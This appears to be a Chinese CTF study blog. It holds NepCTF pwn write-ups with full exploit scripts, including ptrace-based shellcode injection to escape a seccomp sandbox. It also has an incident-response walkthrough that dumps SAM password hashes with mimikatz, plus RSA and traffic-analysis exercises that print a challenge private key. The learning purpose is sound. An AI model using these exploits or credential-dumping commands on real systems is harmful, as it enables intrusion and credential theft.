1
0x80656d6974 ---> time

来算一下它在那个位置

1
2
hello aaaa
0x71a74c1fe8a0 (nil (nil) 0x6 (nil) 0x1000000000 0x3000003e8 0x200 0x36c63f9b4b69cc07 0x2bc422698ba00f71 0x80656d6974 (nil) (nil) (nil) (nil) (nil) (nil) 0x20 (nil) 0x36c63f9b4b69cc07 0x2bc422698ba00f71 0x10102464c457f (nil) 0x1003e0003 0x1240 0x40 0x4198 0x38004000000000 0x1c001d0040000d 0x400000006 0x40 0x40 0x40 0x2d8 0x2d8 0x8 0x400000003 0x318 ,your file read done!

文件在12的位置,但是我们不知道内容在什么位置,我在本地创建一个fake:aaaa来算一下

1
2
3
hello aaaa
0x7264a8ffe8a0 (nil) (nil) 0x6 (nil) 0x1000000000 0x3000003e8 0x200 0x9c9604acef9d4c14 0x94a18eaaefd8fa7b 0x80656b6166 (nil) (nil) (nil) (nil) (nil) (nil) 0x20 (nil) 0x9c9604acef9d4c14 0x94a18eaaefd8fa7b 0xa61616161 (nil) (nil) (nil) (nil) (nil) (nil)
(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil) ,your file read done!

在22的位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *

# 配置远程连接参数
HOST = "nepctf32-1ris-vabv-sri2-p9kvlhq2i224.nepctf.com"
PORT = 443

# 初始化连接
io = remote(HOST, PORT, ssl=True, sni=HOST)
context.log_level = 'debug'

# 构造格式字符串漏洞利用负载
leak_payload = f"%{12+9}$p" # 起始地址
for i in range(0x10):
leak_payload += f"-%{13+9+i}$p" # 连续泄露后续16个地址

# 发送名称触发漏洞
io.sendlineafter(b"please input your name:\n", leak_payload.encode())

# 分阶段读取文件
io.sendlineafter(b"input file name you want to read:\n", b"time")
io.sendlineafter(b"input file name you want to read:\n", b"flag")

# 进入交互模式
io.interactive()

理论上是可以的但是没通,实际上也是可以的,因为别的师傅打出来,我没复现出来。

原作者的exp(https://bbs.kanxue.com/thread-287806.htm#msg_header_h3_0)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
#io=process('./pwn')
context.log_level='debug'
io=remote("nepctf32-1ris-vabv-sri2-p9kvlhq2i224.nepctf.com",443,ssl=True,sni="nepctf32-1ris-vabv-sri2-p9kvlhq2i224.nepctf.com")
def bug():
gdb.attach(io)
name=f"%{12+9}$p".encode()
for i in range(0x10):
name+=f"-%{13+9+i}$p".encode()
io.sendlineafter(b"please input your name:\n",name)
file=b"time"
io.sendlineafter(b"input file name you want to read:\n",file)
io.sendlineafter(b"input file name you want to read:\n",b"flag")

io.interactive()

官方exp

1
2
3
4
5
6
7
8
9
from pwn import *
context.log_level='debug'
p = process("./time")
p.sendlineafter(b'name:\n',
b'%28$p.%27$p.%26$p.%25$p.%24$p.%23$p.%22$p.%21$p.%20$p')
p.sendline(b'a'*1000000)
p.sendline(b'./flag')
p.recvall()
p.close()

smallbox

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
int __fastcall main(int argc, const char **argv, const char **envp)
{
__pid_t v4; // [rsp+4h] [rbp-Ch]

setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
if ( mmap((void *)0xDEADC0DE000LL, 0x1000uLL, 7, 50, -1, 0LL) == (void *)0xDEADC0DE000LL )
{
puts("[+] please input your shellcode: ");
v4 = fork();
if ( v4 < 0 )
{
perror("fork");
exit(1);
}
if ( !v4 )
{
while ( 1 )
;
}
read(0, (void *)0xDEADC0DE000LL, 0x1000uLL);
install_seccomp();
MEMORY[0xDEADC0DE000](); //执行shellcode
return 0;
}
else
{
perror("mmap");
return 1;
}
}

在这里我们可以看到父线程开启了sandbox的保护,子进程没有但是子进程是个无限循环。

1
mmap((void *)0xDEADC0DE000LL, 0x1000uLL, 7, 50, -1, 0LL) == (void *)0xDEADC0DE000LL 

在0xDEADC0DE000上创建了RWX(可读,可写,可执行)

1
2
3
4
5
6
7
8
9
$ echo -ne "expected_input" | seccomp-tools dump ./smallbox
[+] please input your shellcode:
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x15 0x00 0x01 0x00000065 if (A != ptrace) goto 0003
0002: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0003: 0x06 0x00 0x00 0x00000000 return KILL

只能用ptrace

所以攻击思路就是在子进程里用ORW,在到父进程执行,具体怎么绕过无限循环能先看exp(大佬原创的,我纯黏贴)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
#io=process('./pwn')
io=remote("nepctf32-infg-wkc9-bblj-arh6h95nc659.nepctf.com",443,ssl=True,sni="nepctf32-infg-wkc9-bblj-arh6h95nc659.nepctf.com")
context.arch='amd64'
context.log_level='debug'
def bug():
gdb.attach(io,"b read")
io.recvuntil(b"[+] please input your shellcode: ")
shellcode =asm("mov r14d, DWORD PTR [rbp-0xc]")
print("已获得子进程pid")
"""orw
0xdeadc0de000: 0x010101010101b848 0x672e2fb848500101
0xdeadc0de010: 0x043148010166606d 0xf631d231e7894824
0xdeadc0de020: 0x01ba41050f58026a 0x0301f28141010102
0xdeadc0de030: 0x6ad2315f016a0101 0x00050f58286a5e03
"""
shellcode+=asm(shellcraft.ptrace(16,"r14"))
shellcode+=asm('''
mov rcx,0x500000000
loop:
sub rcx,1
test rcx,rcx
jnz loop
''')
print("进程附加成功")
shellcode+=asm(shellcraft.ptrace(12,"r14",0,0xDEADC0DE000+0x500))
shellcode+=asm("mov rsp,0xDEADC0DE588;mov rax, 0xDEADC0DE000;push rax;mov rsp,0xDEADC0DE800")
shellcode+=asm(shellcraft.ptrace(5, "r14", 0xDEADC0DE000,0x010101010101b848))
shellcode+=asm(shellcraft.ptrace(5, "r14", 0xDEADC0DE000+8,0x672e2fb848500101))
shellcode+=asm(shellcraft.ptrace(5, "r14", 0xDEADC0DE000+0x10,0x043148010166606d))
shellcode+=asm(shellcraft.ptrace(5, "r14", 0xDEADC0DE000+0x18,0xf631d231e7894824))
shellcode+=asm(shellcraft.ptrace(5, "r14", 0xDEADC0DE000+0x20,0x01ba41050f58026a))
shellcode+=asm(shellcraft.ptrace(5, "r14", 0xDEADC0DE000+0x28,0x0301f28141010102))
shellcode+=asm(shellcraft.ptrace(5, "r14", 0xDEADC0DE000+0x30,0x6ad2315f016a0101))
shellcode+=asm(shellcraft.ptrace(5, "r14", 0xDEADC0DE000+0x38,0x00050f58286a5e03))
#================================================================================================================
shellcode+=asm(shellcraft.ptrace(13,"r14",0,0xDEADC0DE000+0x500))
#================================================================================================================
shellcode+=asm(shellcraft.ptrace(17,"r14", 0, 0))
shellcode+=asm("jmp $")
io.send(shellcode)
io.interactive()

ptrace请求类型详解

  1. PTRACE_ATTACH (16)
1
asm(shellcraft.ptrace(16, "r14"))
  • 作用:将当前进程附加到目标进程作为调试器
  • 参数
    • r14:目标进程PID(子进程)
  • 效果
    • 使子进程进入暂停状态(相当于发送SIGSTOP)
    • 父进程成为子进程的调试器,可以完全控制子进程
  • 系统调用号__NR_ptrace = 101,请求类型为16
  1. PTRACE_GETREGS (12)
1
asm(shellcraft.ptrace(12, "r14", 0, 0xDEADC0DE000+0x500))
  • 作用:获取目标进程的寄存器状态
  • 参数
    • r14:目标进程PID
    • 0:忽略参数
    • 0xDEADC0DE500:寄存器数据存储位置
  • 效果
    • 将子进程的所有寄存器值复制到0xDEADC0DE500位置
    • 结构体大小为sizeof(user_regs_struct) = 216字节
  • 目的:为后续修改寄存器做准备
  1. PTRACE_POKETEXT (5)
1
asm(shellcraft.ptrace(5, "r14", 0xDEADC0DE000, 0x010101010101b848))
  • 作用:向目标进程内存写入数据
  • 参数
    • r14:目标进程PID
    • 0xDEADC0DE000:写入地址
    • 0x010101010101b848:写入的8字节数据
  • 关键特性
    • 每次调用只能写入8字节数据
    • 需要多次调用写入完整shellcode

4.PTRACE_SETREGS (13)

1
asm(shellcraft.ptrace(13, "r14", 0, 0xDEADC0DE000+0x500))
  • 作用:设置目标进程的寄存器状态
  • 参数
    • r14:目标进程PID
    • 0:忽略参数
    • 0xDEADC0DE500:寄存器数据来源位置
  • 效果
    • 0xDEADC0DE500处的寄存器数据恢复到子进程
    • 关键点:虽然恢复了寄存器,但此时子进程的代码已被覆盖
  1. PTRACE_DETACH (17)

python

1
asm(shellcraft.ptrace(17, "r14", 0, 0))
  • 作用:分离调试器与目标进程
  • 参数
    • r14:目标进程PID
    • 0:忽略参数
    • 0:发送给子进程的信号(0表示无信号)
  • 效果
    • 子进程恢复执行
    • 父进程不再控制子进程

阶段1: 附加和控制子进程

  1. PTRACE_ATTACH(16)

    • 父进程附加到子进程
    • 子进程暂停执行
  2. 延时循环

    1
    2
    3
    4
    mov rcx,0x500000000
    loop:
    sub rcx,1
    jnz loop
    • 目的:确保附加操作完成(替代waitpid)
    • 原理:给内核时间处理附加请求

阶段2: 准备内存操作

  1. PTRACE_GETREGS(12)

    • 保存子进程当前寄存器状态
    • 存储到共享内存的0x500偏移处
  2. 调整父进程栈指针

    asm

    1
    2
    3
    4
    mov rsp,0xDEADC0DE588
    mov rax, 0xDEADC0DE000
    push rax
    mov rsp,0xDEADC0DE800
    • 目的:避免后续操作破坏父进程栈
    • 将栈移到共享内存的安全区域

阶段3: 注入恶意代码

  1. 8次PTRACE_POKETEXT(5)调用

    • 向子进程内存写入64字节ORW shellcode

    • 覆盖子进程原来的循环代码:

      asm

      1
      2
      3
      4
      5
      6
      ; 原始代码 (被覆盖)
      while(1):
      jmp $ ; 机器码: EB FE

      ; 覆盖后代码
      movabs rax,0x101010101010101 ; 新指令

阶段4: 恢复执行

  1. PTRACE_SETREGS(13)
    • “恢复”子进程寄存器
    • 实际效果:RIP仍指向被覆盖的代码区域
  2. PTRACE_DETACH(17)
    • 分离父进程和子进程
    • 子进程从当前RIP开始执行(即ORW shellcode)

阶段5: 维持进程

  1. 父进程挂起

    asm

    1
    jmp $   ; 无限循环
    • 防止父进程退出导致程序终止
    • 保持子进程继续运行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
0xDEADC0DE000:
; 设置文件路径 "flag"
mov rax, 0x67616c662f2e ; "./flag"
push rax

; 系统调用序列
mov rdi, rsp ; 文件路径指针
xor esi, esi ; O_RDONLY (0)
xor eax, eax ; 清空RAX
mov al, 2 ; syscall号: open=2
syscall ; 调用open("flag")

; 读取文件内容
mov rdi, rax ; 文件描述符
mov rsi, rsp ; 缓冲区地址
mov rdx, 0x100 ; 读取长度
xor eax, eax ; syscall号: read=0
syscall ; 调用read()

; 输出到标准输出
mov rdi, 1 ; 文件描述符: stdout=1
mov rsi, rsp ; 缓冲区地址
mov rdx, rax ; 实际读取长度
mov al, 1 ; syscall号: write=1
syscall ; 调用write()

; 退出
mov al, 60 ; syscall号: exit=60
syscall

我就了解到这里了,还是太菜,多学吧wuuu~~~

官方exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
from pwn import *
context.arch='amd64'
p=process('./smallbox')
# p=remote('127.0.0.1',9999)
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
PTRACE_POKETEXT = 4
PTRACE_POKEDATA = 4

injected_shellcode=shellcraft.open("/flag.txt",0)+'''
mov rax,0
mov rdi,3
mov rsi,rsp
mov rdx,0x30
syscall

mov rax,1
mov rdi,1
mov rsi,rsp
mov rdx,0x30
syscall
'''

injected_shellcode=asm(injected_shellcode)

shellcode=f'''
push rdx
/* ptrace(request=0x10, vararg_0=pid, vararg_1=0, vararg_2=0) */
xor r10d, r10d /* 0 */
push {PTRACE_ATTACH}
pop rdi
xor edx, edx /* 0 */
mov esi, [rsp+0x14]
/* call ptrace() */
push SYS_ptrace /* 0x65 */
pop rax
syscall
/* ptrace(request=0xc, vararg_0=pid vararg_1=0x0, vararg_2=shellcode+0x800) */
pop r10
push r10
add r10,0x800
push {PTRACE_GETREGS}
pop rdi
xor edx,edx
mov esi, [rsp+0x14]
/* call ptrace() */
push SYS_ptrace /* 0x65 */
pop rax
syscall

pop rdx
push rdx
add rdx,0x880
mov rdx,[rdx]
push rdx

mov rbx,0
loop:
/* ptrace(request=0xc, vararg_0=pid vararg_1=rip+i, vararg_2=[shellcode+i+0x200]) */
push {PTRACE_POKETEXT}
pop rdi
pop rdx
pop r10
push r10
push rdx
add rdx,rbx
mov r10,[r10+rbx+0x200]
mov esi, [rsp+0x1C]
/* call ptrace() */
push SYS_ptrace /* 0x65 */
pop rax
syscall
add rbx,8
cmp rbx,0x100
jle loop

/* ptrace(request=0x10, vararg_0=pid, vararg_1=0, vararg_2=0) */
xor r10d, r10d /* 0 */
push {PTRACE_DETACH}
pop rdi
xor edx, edx /* 0 */
mov esi, [rsp+0x1C]
/* call ptrace() */
push SYS_ptrace /* 0x65 */
pop rax
syscall
'''
shellcode=asm(shellcode).ljust(0x200,b'\x00')+injected_shellcode
#gdb.attach(p)
p.sendafter('shellcode:',shellcode)
p.interactive()

这里先放一个虚拟机的配置,将附件解压后点击vmx文件就可以打开虚拟机了。

1

1

1

1

1

1

1

1

1

1

1

畸行的爱解压密码:
Parloo&zgsfsys&onefox&solar**juyt

1

这里有四个虚拟机win7,win10,mysql,wedserver

畸形的爱(复现)

攻击者ip地址1

先看webserver

先history命令,查看可以发现开启了docker环境,我们在升级到root,再history,和它一样开启docker

1
docker start ec87eb8a81c7 6801404902b1 192686b818fc

1

1

​ 列出所有TCP协议的网络连接及其状态

1
netstat -anplt

1

看到nginx,去看看他的日志

1

1

看到shell.php可以确定ip

1
192.168.31.240

攻击者ip地址2

这题据说有bug,都是跟着其他师傅复现的。

先看docker开始的环境,再进入有wendata的环境,有clean.sh很明显shell脚本。

1
2
docker ps
docker exec -it ec87eb8a81c7(ip) /bin/sh

1

nc的反连地址

1
192.168.31.11

暴力破解开始时间

先根据暴力破解一般是有登录,ssh等才能被破解

根据phpmyadmin最具破解力

Docker容器会把写到容器标准输出

1
docker logs phpmyadmin

1

post ;时间密集;登录界面

1
2025:03:05:58

flag1

这个flag在windows上

大佬们有everything一搜索就搜索出来了,我是到任务计划程序去看的。

1

1
palu{pc3_zgsfqwerlkssaw}

flag2

再flag所在的地方的文件里看到C:\Program Files (x86)\Microsoft\a.bat

1

1
palu{nizhidaowoyouduoainima}

flag3

这里要用Navicat

我的navicat连不上mysql数据库,这题先放这。

提交钓鱼文件的md5

钓鱼一般都是聊天

1

在回收站里去找

1

1
certutil -hashfile "C:\Users\Administrator\Desktop\简历.zip" MD5

效验md5

1
a69df5bdfef664d0a22b7d8b62c44718

提交攻击者留下的webshell-1的密码

在找ip的时候会留意到shell.php下面有个a.php

1

1
00232

提交攻击者留下的webshell-2的密码

1
find / -type f -name "*.php"

全局查找一下php文件太多了

1
find / -type f -name "shell.php"

猜一下shell.php

1

1
hack

提交攻击者开放端口

这题据说环境有问题,也放这里

提交攻击者留下的隐藏账户和密码

先用D盾查

1

在用mimikatz跑出hash

先cmd用管理员身份运行,然后输入下面两行命令

1
2
3
4
5
6
cd C:\Users\Administrator\Desktop\mimikatz_trunk\x64   进入exe所在目录
reg save hklm\sam sam.save
reg save hklm\system system.save
C:\Users\Administrator\Desktop\mimikatz_trunk\x64\mimikatz.exe 运行exe
privilege::debug
lsadump::sam /sam:sam.save /system:system.save

得到

1
2
3
RID  : 000003ea (1002)
User : system$
Hash NTLM: dbae99beb48fd9132e1cf77f4c746979

在线网站破解md5

1

要付费,解出来是wmx_love

1
wmx_love

攻击者的邮箱(溯源)

flag4(溯源)

先分析简历exe

1

得到黑客的名字n0k4u

去github上找

1

1

1

3834239649是个QQ号

1

1

我们找到了github的地址,知道了github就可以泄露出邮箱地址

直接搜通过Github用户名溯源个人邮箱可以找到参考文献链接

1
https://api.github.com/users/<name>/events/public 把name换成

1

这里没出来,感觉是不是删了还是怎么搞的别的师傅都出来了

1
n0k4u@outlook.com

到这里畸形的爱就复现完了

开始RSA的学习

RSA加密过程

1
2
3
4
5
6
p = ;q = ;(两个质数)
n = p * q
φ(n) = (p-1)*(q-1)
e = 公钥指数(与φ(n)互质)
m = 明文
c ≡ m^e (mod n)

(d * e) mod φ(n) = 1

公钥: (e, n)

私钥: (d, n)

解密过程

1
m ≡ c^d (mod n)

例题1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from Crypto.Util.number import getPrime, bytes_to_long
from random import randint
from sympy import totient
from secret import flag

def power_tower_mod(a, k, m): # a↑↑k mod m
if k == 1:
return a % m
exp = power_tower_mod(a, k - 1, totient(m))
return pow(a, int(exp), int(m))


p = getPrime(512)
q = getPrime(512)
r = 123456
n = p * q
e = 65537
n_phi= p+q-1
x=power_tower_mod(n_phi + 1, r, pow(n_phi, 3))
m = bytes_to_long(flag)
c = pow(m, e, n)

print(f"n = {n}")
print(f"e = {e}")
print(f"c = {c}")
print(f"x = {x}")

'''
n = 128523866891628647198256249821889078729612915602126813095353326058434117743331117354307769466834709121615383318360553158180793808091715290853250784591576293353438657705902690576369228616974691526529115840225288717188674903706286837772359866451871219784305209267680502055721789166823585304852101129034033822731
e = 65537
c = 125986017030189249606833383146319528808010980928552142070952791820726011301355101112751401734059277025967527782109331573869703458333443026446504541008332002497683482554529670817491746530944661661838872530737844860894779846008432862757182462997411607513582892540745324152395112372620247143278397038318619295886
x = 522964948416919148730075013940176144502085141572251634384238148239059418865743755566045480035498265634350869368780682933647857349700575757065055513839460630399915983325017019073643523849095374946914449481491243177810902947558024707988938268598599450358141276922628627391081922608389234345668009502520912713141
'''
1
2
3
4
5
x = 1 + n_phi + n_phi^2
n_phi = (-1 + sqrt(4*x - 3)) // 2
n_phi = p + q - 1
φ(n) = (p-1)*(q-1) = n + n_phi
d = pow(e, -1, φ(n))

得到私钥后就可以解密了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from math import isqrt
from Crypto.Util.number import long_to_bytes

n = 128523866891628647198256249821889078729612915602126813095353326058434117743331117354307769466834709121615383318360553158180793808091715290853250784591576293353438657705902690576369228616974691526529115840225288717188674903706286837772359866451871219784305209267680502055721789166823585304852101129034033822731
e = 65537
c = 125986017030189249606833383146319528808010980928552142070952791820726011301355101112751401734059277025967527782109331573869703458333443026446504541008332002497683482554529670817491746530944661661838872530737844860894779846008432862757182462997411607513582892540745324152395112372620247143278397038318619295886
x = 522964948416919148730075013940176144502085141572251634384238148239059418865743755566045480035498265634350869368780682933647857349700575757065055513839460630399915983325017019073643523849095374946914449481491243177810902947558024707988938268598599450358141276922628627391081922608389234345668009502520912713141

# Calculate n_phi from x
temp = 4 * x - 3
root = isqrt(temp)
n_phi = (root - 1) // 2

# Calculate φ(n)
phi_n = n - n_phi

# Calculate private exponent d
d = pow(e, -1, phi_n)

# Decrypt c
m = pow(c, d, n)

# Convert to bytes
flag = long_to_bytes(m)
print(flag)

开始流量学习。记录做题为主

ssl

先过滤http

1

http追踪流

1

看到ssl.log就是key。

1

将其另存至本地。

1

1

1

导入秘钥解密。

1

多了几条http

追踪http流

1

就可以得到想要的东西。

[DDCTF2018]流量分析

这也是个ssl

1
tcp contains "KEY"

找key

1

1

1

[base64转PNG](阿图工具箱 - Base64转图片工具 - 免费在线Base64解码图片转换器)

1

[提取文字](免費在線OCR - 將PDF轉換為Word或圖像轉換為文本)将其保存为key.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
-----BEGIN RSA PRIVATE KEY-----
MIICXAIBAAKBgQDCm6vZmclJrVH1AAyGuCuSSZ8O+mIQiOUQCvN0HYbj8153JfSQ
LsJIhbRYS7+zZ1oXvPemWQDv/u/tzegt58q4ciNmcVnq1uKiygc6QOtvT7oiSTyO
vMX/q5iE2iClYUIHZEKX3BjjNDxrYvLQzPyGD1EY2DZIO6T45FNKYC2VDwIDAQAB
AoGAbtWUKUkx37lLfRq7B5sqjZVKdpBZe4tL0jg6cX5Djd3Uhk1inR9UXVNw4/y4
QGfzYqOn8+Cq7QSoBysHOeXSiPztW2cL09ktPgSlfTQyN6ELNGuiUOYnaTWYZpp/
QbRcZ/eHBulVQLlk5M6RVs9BLI9X08RAl7EcwumiRfWas6kCQQDvqC0dxl2wIjwN
czILcoWLig2c2u71Nev9DrWjWHU8eHDuzCJWvOUAHIrkexddWEK2VHd+F13GBCOQ
ZCM4prBjAkEAz+ENahsEjBE4+7H1HdIaw0+goe/45d6A2ewO/lYH6dDZTAzTW9z9
kzV8uz+Mmo5163/JtvwYQcKF39DJGGtqZQJBAKa18XR16fQ9TFL64EQwTQ+tYBzN
+04eTWQCmH3haeQ/0Cd9XyHBUveJ42Be8/jeDcIx7dGLxZKajHbEAfBFnAsCQGq1
AnbJ4Z6opJCGu+UP2c8SC8m0bhZJDelPRC8IKE28eB6SotgP61ZqaVmQ+HLJ1/wH
/5pfc3AmEyRdfyx6zwUCQCAH4SLJv/kprRz1a1gx8FR5tj4NeHEFFNEgq1gmiwmH
2STT5qZWzQFz8NRe+/otNOHBR2Xk4e8IS+ehIJ3TvyE=
-----END RSA PRIVATE KEY-----

将key.txt导入

1

发现多出现了几条http的包

1

追踪一下http流就可以得到最终信息了

buuctf 秘密文件

1

搜素flag。

在FTP选择最总TCP流。

1

1

发现RAR,binwalk提取一下,爆破密码。

1

解压即可得到flag。

菜刀666

1
http.request.method==POST

过滤出http post的数据包

1

1

发现可疑的文件,继续看。

1

1

1
RDpcd2FtcDY0XHd3d1x1cGxvYWRcNjY2Ni5qcGc  base64 -->D:\wamp64\www\upload\6666.jpg

紧接着是FF D8发现是JPG的开头复制到010里面保存。

1

找到密码

1
Th1s_1s_p4sswd_!!!

继续往下看

1

1

发现zip头

提取放到010保存到zip,用密码解压即可得到flag

jwt

问一:

该网站使用了______认证方式

http contains “login”过滤先追踪http流

1

1

可以看到是jwt

问2:

id和username是______

先http contains “whoami”过滤,whoami(查看当前系统用户的命令)的流量包。

1

追踪命令成功的http流,过滤把tokenbase64解密

1

id : 10087 username:admin

渗透之路

身为一个网安生我感觉渗透应该是必学的,所以从现在开始我开始我的渗透之路了。

计算机基础

linux

linux命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
ls                                                           //列出当前目录中的文件和子目录
pwd //显示当前工作目录的路径
cd /path/to/directory //切换工作目录
mkdir directory_name //创建新目录
rmdir directory_name //删除空目录
rm file_name //删除文件或目录
rm -r directory_name //递归删除目录及其内容
cp source_file destination //复制文件或目录
cp -r source_directory destination //递归复制目录及其内容
mv old_name new_name //移动或重命名文件或目录
touch file_name //创建空文件或更新文件的时间戳
cat file_name //连接和显示文件内容
more/less //逐页显示文本文件内容
head/tail(head -n 10 file_name # 显示文件的前10行) //显示文件的前几行或后几行
grep search_term file_name //在文件中搜索指定文本
ps aux //显示当前运行的进程
kill process_id //终止进程
ifconfig/ip(ip addr show) //查看和配置网络接口信息
ping host_name_or_ip //测试与主机的连通性
wget/curl(wget URL/curl -O URL) //从网络下载文件
chown owner:group file_name //修改文件或目录的所有者
tar -czvf archive.tar.gz directory_name //压缩目录
tar -xzvf archive.tar.gz //解压文件
df -h //显示磁盘空间使用情
du -h directory_name //显示目录的磁盘使用情况
mount /dev/sdX1 /mnt //挂载分区到指定目录
umount /mnt //卸载挂载的文件系统
psql -U username -d database_name //连接到PostgreSQL数据库
mysql -u username -p //连接到MySQL数据库
top/htop //显示系统资源的实时使用情况和进程信息
ssh username@remote_host //远程登录到其他计算机
scp local_file remote_user@remote_host:/remote/directory //安全地将文件从本地复制到远程主机,或从远程主机复制到本地
find /path/to/search -name "file_pattern" //在文件系统中查找文件和目录
grep -r "pattern" /path/to/search //在文本中搜索匹配的行,并可以使用正则表达式进行高级搜索
sed 's/old_text/new_text/' file_name //流编辑器,用于文本处理和替换
awk '{print $1}' file_name //提取文件中的第一列数据
ssh-keygen -t rsa //生成SSH密钥对,用于身份验证远程服务器
date //显示或设置系统日期和时间
echo //将文本输出到标准输出
ln source_file link_name //创建硬链接
ln -s source_file link_name //创建符号链接
uname -a //显示系统信息
shutdown/reboot //关闭或重新启动系统
who/w //显示当前登录的用户信息
curl -X GET http://exampe.com //用于与网络资源进行交互,支持各种协议
zip archive.zip file1 file2 //压缩文件
unzip archive.zip //解压ZIP文件
chmod permissions file_name //修改文件权限
chown owner:group file_name //修改文件所有者
useradd new_user //添加用户
userdel username //删除用户
passwd //更改用户密码
crontab -e //编辑用户的定时任务
uptime //显示系统的运行时间和负载情况
hostname //显示或设置计算机的主机名
iptables -A INPUT -p tcp --dport 80 -j ACCEPT //允许HTTP流量(用于配置防火墙规则)
ufw enable //启用Uncomplicated Firewall(用于配置防火墙规则)
netstat -tuln //显示所有TCP和UDP端口
ss -tuln //使用Socket Stat查看网络连接
ps aux //显示所有进程
top //实时监视系统资源
htop //更友好的进程监视器
history //查看命令历史记录
free -m //以MB为单位显示内存使用情况
lsblk //显示块设备信息
fdisk /dev/sdX //打开磁盘分区工具
nc -vz host_name_or_ip port //测试主机的端口是否可达
stat file_or_directory //显示文件或目录的详细信息
nmcli connection show //显示网络连接信息
tailf file_name //实时追踪文件的末尾,类似于tail -f
scp local_file remote_user@remote_host:/remote/directory //从本地到远程
scp remote_user@remote_host:/remote/file local_directory //从远程到本地
rsync //用于在本地和远程系统之间同步文件和目录
例:rsync -avz source_directory/ remote_user@remote_host:/remote/directory/
dd if=input_file of=output_file bs=block_size //用于复制和转换文件
sudo //以超级用户权限运行命令

kali linux进行渗透测试

渗透测试流程
信息收集(Reconnaissance)

使用Whois查询域名信息

1
whois example.com

WHOIS 查询能获取哪些信息:

查询返回的信息会因顶级域名和注册商的不同而有所差异,但通常包含以下内容:

  1. 域名状态:ok (正常), clientHold (注册商暂停解析), serverHold (注册局暂停解析), pendingDelete (等待删除) 等。这反映了域名的当前管理状态。
  2. 注册人信息:
    • 注册人姓名/组织名称。
    • 注册人联系地址。
    • 注册人联系电话。
    • 注册人联系邮箱。
    • (重要变化) 由于隐私法规(如 GDPR),现在公开显示的注册人信息通常是注册商提供的隐私保护服务的联系信息,而不是真实的注册人信息。
  3. 管理联系人信息: 负责管理域名事宜的联系人信息(同样常受隐私保护)。
  4. 技术联系人信息: 负责处理域名技术问题(如 DNS)的联系人信息(同样常受隐私保护)。
  5. 注册商信息:
    • 注册商名称。
    • 注册商官方网站。
    • 注册商 WHOIS 服务器地址。
    • 注册商提供的支持联系方式。
  6. 重要日期:
    • 创建日期: 域名首次注册的日期。
    • 到期日期: 域名注册的有效截止日期。在此日期后未续费,域名可能会被删除并重新开放注册。
    • 更新日期: 域名信息(如联系信息或 DNS 设置)最后一次更新的日期。
  7. 域名服务器:
    • 主域名服务器地址。
    • 辅域名服务器地址。这些服务器存储了该域名对应的 DNS 记录(如 A, MX, CNAME 记录)。
  8. 授权服务器: 有时会列出提供该域名权威 WHOIS 数据的服务器地址。

使用Dig进行DNS查询

1
dig [@server] [options] [name] [type]
  • [@server] (可选): 指定要查询的 DNS 服务器的 IP 地址或主机名。如果省略,则使用系统 /etc/resolv.conf 文件中配置的 DNS 服务器。
    • 示例:dig @8.8.8.8 example.com
  • [options] (可选): 控制 dig 行为和输出的各种选项,以 + 开头。
    • 常用选项:
      • +short: 只显示最精简的答案(通常是 IP 地址或目标域名)。
      • +noall: 关闭所有输出部分(通常与 +answer 等组合使用)。
      • +answer: 只显示答案部分 (最常用!)。
      • +stats: 显示查询统计信息(耗时、大小等)。
      • +trace: 模拟 DNS 递归解析的完整过程,从根域名服务器开始追踪。
      • +nocmd: 不显示最初的命令和版本信息行。
      • +nocomments: 不显示注释行。
      • +tcp: 强制使用 TCP 协议进行查询(默认使用 UDP,在响应过大或需要区域传输时 TCP 是必需的)。
      • -x: 进行反向 DNS 查询(根据 IP 查找域名),此时 [name] 应为 IP 地址,[type] 通常省略或为 PTR
  • [name] (通常需要): 要查询的域名(如 example.com, www.google.com) 或 IP 地址(当使用 -x 时)。
  • [type] (可选): 指定要查询的 DNS 记录类型。如果省略,默认为查询 A 记录。常见类型:A, AAAA, MX, CNAME, NS, TXT, SOA, PTR, ANY(查询所有记录,但通常被服务器限制或拒绝)。
    • 示例:dig example.com MX, dig example.com NS

dig 是 DNS 领域无可争议的瑞士军刀。它通过提供详细、可控、原始的 DNS 查询响应,使你能够:

  • 精确查询任何类型的 DNS 记录。
  • 指定向任何 DNS 服务器发送查询。
  • 深入诊断各种 DNS 解析问题。
  • 验证 DNS 配置更改。
  • 理解 DNS 协议交互的底层细节。

Nmap的使用

核心功能

  1. 端口扫描
    • -sS:TCP SYN 扫描(默认,需 root)
    • -sT:TCP 全连接扫描(无需 root)
    • -sU:UDP 扫描(需 sudo)
    • -p:指定端口(-p 80,443-p- 全端口)
  2. 服务识别
    • -sV:探测服务版本
  3. 操作系统探测
    • -O:猜测目标 OS
  4. 主机发现
    • -sn:Ping 扫描(不扫端口)
  5. 脚本引擎(NSE)
